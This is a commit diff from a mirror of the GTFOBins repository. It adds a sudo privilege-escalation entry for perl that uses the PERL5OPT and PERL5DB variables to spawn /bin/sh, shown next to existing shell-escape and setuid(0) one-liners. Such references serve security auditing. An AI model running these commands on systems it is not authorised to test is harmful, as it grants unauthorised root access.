1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-27 01:26:05 +02:00
This commit is contained in:
Skyf0l 2024-04-24 13:27:17 +08:00 committed by GitHub
commit ece857e3fa
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -16,6 +16,8 @@ functions:
- code: ./perl -e 'exec "/bin/sh";'
sudo:
- code: sudo perl -e 'exec "/bin/sh";'
- description: Don't forget to `CTRL+D` to exit the perl shell and get the shell.
code: sudo PERL5OPT=-d PERL5DB='exec "/bin/sh"' perl
capabilities:
- code: ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
---